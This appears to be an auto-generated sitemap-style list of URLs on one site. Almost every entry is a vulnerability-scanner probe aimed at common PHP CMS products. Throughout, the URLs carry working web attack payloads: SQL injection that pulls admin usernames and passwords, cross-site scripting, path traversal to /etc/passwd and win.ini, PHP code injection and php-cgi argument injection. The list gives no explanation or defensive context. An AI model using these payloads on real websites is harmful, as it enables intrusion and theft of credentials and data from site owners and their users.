http://www.cncml.com/zyxz/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/zyxz/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/zyxz/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/zyxz/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/zyxz/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/zyxz/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/zyxz/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/zyxz/zyxz1/ 0.0007 http://www.cncml.com/zyxz/zyxz1/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/zyxz/zyxz1/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/zyxz/zyxz1/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/zyxz/zyxz1/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/zyxz/zyxz1/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/zyxz/zyxz1/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/zyxz/zyxz1/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/zyxz/zyxz1/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/zyxz/zyxz1/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/zyxz/zyxz1/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/zyxz/zyxz1/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/zyxz/zyxz1/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/zyxz/zyxz1/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/zyxz/zyxz1/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/zyxz/zyxz1/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/zyxz/zyxz1/?overview 0.0001 http://www.cncml.com/zyxz/zyxz1/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/zyxz/zyxz1/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/zyxz/zyxz1/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/zyxz/zyxz1/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/zyxz/zyxz1/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/zyxz/zyxz1/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/zyxz/zyxz1/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/zyxz/zyxz1/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/zyxz/zyxz1/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/zyxz/zyxz1/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/zyxz/zyxz1/?user-getpass-1' 0.0001 http://www.cncml.com/zyxz/zyxz1/?user-space-1' 0.0001 http://www.cncml.com/zyxz/zyxz1/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?ac=order&at=list 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=Order&a=index 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/zyxz/zyxz1/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001